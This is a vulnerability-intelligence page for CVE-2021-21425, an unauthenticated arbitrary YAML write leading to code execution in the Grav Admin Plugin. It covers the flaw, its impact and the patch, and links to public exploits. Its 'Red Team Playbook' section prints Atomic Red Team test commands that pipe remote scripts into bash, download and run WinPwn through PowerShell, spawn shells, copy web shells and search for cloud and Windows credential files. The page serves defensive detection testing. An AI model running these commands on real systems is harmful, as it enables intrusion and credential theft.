CVE-2021-21425
Overview
This vulnerability is an authentication bypass in the Grav Admin Plugin's administrator controller, allowing unauthenticated access to certain methods. The root cause lies in insufficient access control checks on these controller methods, enabling execution without credentials. The affected component is the Grav Admin Plugin versions 1.10.7 and earlier, specifically its administrator controller responsible for configuration management via YAML files.
Vulnerability Description
Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command under the context of the web-server user. This vulnerability is fixed in version 1.10.8. Blocking access to the `/admin` path from untrusted sources can be applied as a workaround.
Impact
An attacker with network access and no authentication can exploit this flaw to create or modify YAML configuration files, resulting in unauthorized changes to site information, scheduler jobs, or administrator accounts. This can lead to webpage defacement, privilege escalation through administrator account hijacking, or remote code execution under the web-server user context. The vulnerability has a CVSS vector indicating no user interaction or privileges are required and network attack vector (AV:N/AC:L/PR:N/UI:N).
Solution
Upgrade the Grav Admin Plugin to version 1.10.8 or later as per the official GitHub security advisory GHSA-6f53-6qgv-39pj. As a temporary mitigation, restrict access to the /admin path to trusted sources only to prevent unauthenticated exploitation. Detailed patching instructions and advisory information are available at the vendor's GitHub security advisories page.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Grav Admin Plugin arises from improper access controls that allow unauthenticated users to execute certain methods of the administrator controller. This flaw exists in versions 1.10.7 and earlier, enabling malicious actors to manipulate the system without any form of authentication. Specifically, the vulnerability permits the creation of arbitrary YAML files or modification of existing ones, which are critical for the configuration and operation of the Grav CMS. The ability to alter these files can lead to significant changes in site behavior, including the modification of site information and the definition of custom scheduler jobs, which can have cascading effects on the functionality and security of the web application.
Exploitation of this vulnerability can occur through various attack vectors. An adversary could target the administrative interface directly, leveraging the lack of authentication to send crafted requests that invoke the vulnerable methods. For instance, an attacker could change the site's configuration to redirect users to a malicious site or inject malicious scripts into the content served to users. Furthermore, the ability to hijack an administrator account could lead to deeper access within the system, allowing for further exploitation or data exfiltration. The potential for executing operating system commands under the context of the web-server user significantly escalates the risk, as it could lead to full system compromise if the web server has elevated privileges.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Grav for their web presence. The high CVSS score of 9.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, including data loss, service disruption, and reputational damage. Businesses may face regulatory scrutiny or legal repercussions if sensitive data is exposed or compromised due to inadequate security measures. Additionally, the financial implications of remediation efforts, incident response, and potential loss of customer trust can be substantial.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of the Grav Admin Plugin, specifically version 1.10.8 or later. Regularly updating software components is a fundamental practice in maintaining security hygiene. In addition to patching, implementing network-level controls such as firewalls to block access to the `/admin` path from untrusted sources can serve as an effective workaround. Monitoring logs for unusual access patterns or unauthorized attempts to access administrative functions is also crucial for early detection of potential exploitation attempts. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application.
In conclusion, the vulnerability within the Grav Admin Plugin exemplifies the critical importance of robust access controls in web applications. The potential for unauthorized access to administrative functionalities poses significant risks to organizations, necessitating immediate attention and remediation. By adopting comprehensive detection and mitigation strategies, businesses can protect themselves against the exploitation of such vulnerabilities and ensure the integrity and security of their web applications.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2021-21425, evidenced by the emergence of multiple new proof-of-concept exploits and the integration of this vulnerability into a widely used Metasploit module. This development broadens the exploit landscape significantly, lowering the barrier for adversaries to conduct unauthenticated remote code execution against vulnerable Grav Admin Plugin instances. Our telemetry indicates that exploitation attempts, while still relatively contained, have increased in frequency, signaling growing attacker interest and operationalization of the vulnerability. The availability of enhanced exploit tools with improved automation and encoding techniques further amplifies the risk by enabling less skilled threat actors to leverage this critical flaw. Consequently, the threat level associated with CVE-2021-21425 has intensified, underscoring the urgency for defenders to prioritize detection and response capabilities focused on anomalous YAML file modifications and unauthorized administrative actions within Grav CMS environments.
Update 2 — July 14, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-21425, with a significant uptick in exploitation attempts observed across multiple environments. This increase coincides with the emergence of new proof-of-concept exploits that incorporate enhanced automation features such as command-line argument support and automatic base64 encoding, lowering the technical barrier for adversaries. Our telemetry indicates that these developments are driving broader operationalization of the vulnerability, enabling a wider range of threat actors to execute arbitrary YAML file modifications and remote code execution on vulnerable Grav CMS instances. The slight rise in the EPSS score corroborates this trend, reflecting growing likelihood of exploitation in the wild. This evolution amplifies the threat landscape by increasing both the volume and sophistication of attacks, thereby elevating the overall risk posture for organizations relying on affected versions of the Grav Admin Plugin. Defenders should be aware that the vulnerability is no longer confined to niche or highly skilled attackers but is increasingly accessible to less experienced actors leveraging publicly available exploit tools.
Update 3 — July 22, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2021-21425, accompanied by the emergence of new proof-of-concept exploits that incorporate enhanced automation features such as command-line argument support and automatic base64 encoding. This evolution in exploit sophistication lowers the technical barrier for adversaries, enabling a broader spectrum of threat actors to leverage these tools effectively. Our telemetry indicates a sustained upward trend in detection activity, signaling increased adversary interest and operational tempo. While the EPSS score remains high, the current stability in its rate of increase suggests that exploitation is becoming more normalized rather than rapidly accelerating. This development amplifies the threat landscape by expanding both the volume and ease of successful attacks, thereby elevating the risk for organizations utilizing vulnerable versions of the Grav Admin Plugin. Defenders should recognize that the vulnerability is increasingly exploited by opportunistic actors who are empowered by readily available, improved exploit code, intensifying the urgency for vigilant monitoring and response.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Getgrav | Grav-Plugin-Admin | All |
cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
GravCMS Remote Command Execution
exploits/linux/http/gravcms_exec
|
Mehmet Ince <[email protected]> | Unknown | php | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) | Mehmet Ince | webapps | php | - | View |
GitHub PoCs (7)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
CsEnox/CVE-2021-21425
GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution (CVE-2021-21425)
|
CsEnox | 12 | 3 | 2021-06-24 | View |
|
bluetoothStrawberry/cve-2021-21425
working exploit for the old cve-2021-21425 grav cms 1.7.10 vuln
|
bluetoothStrawberry | 2 | 0 | 2024-11-13 | View |
|
d4ytox/CVE-2021-21425
CVE-2021-21425 - GravCMS 1.10.7 Unauthenticated RCE via Scheduler. Improved exploit with CLI args and auto base64 encodi...
|
d4ytox | 1 | 0 | 2026-06-13 | View |
|
grey-master-a/GravCMS_Nmap_Script
It is a nmap script for GravCMS vulnerability (CVE-2021-21425)
|
grey-master-a | 0 | 0 | 2022-01-19 | View |
|
s1lentf00thold/CVE-2021-21425-RCE
|
s1lentf00thold | 0 | 0 | 2026-06-23 | View |
|
TeddyEngel/CVE-2021-21425
CVE-2021-21425 - GravCMS 1.10.7 Unauthenticated RCE via Scheduler. Improved exploit with CLI args and auto base64 encodi...
|
TeddyEngel | 0 | 0 | 2026-05-15 | View |
|
afifudinmtop/CVE-2021-21425
|
afifudinmtop | 0 | 0 | 2026-01-21 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21425 |
| pentest.blog |
GitHub CVE
x_refsource_MISC
|
https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/ |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/getgrav/grav-plugin-admin/security/advisories/GHSA-6f53-6qgv-39pj |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162283/GravCMS-1.10.7-Remote-Command-Execution.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162457/GravCMS-1.10.7-Remote-Command-Execution.html |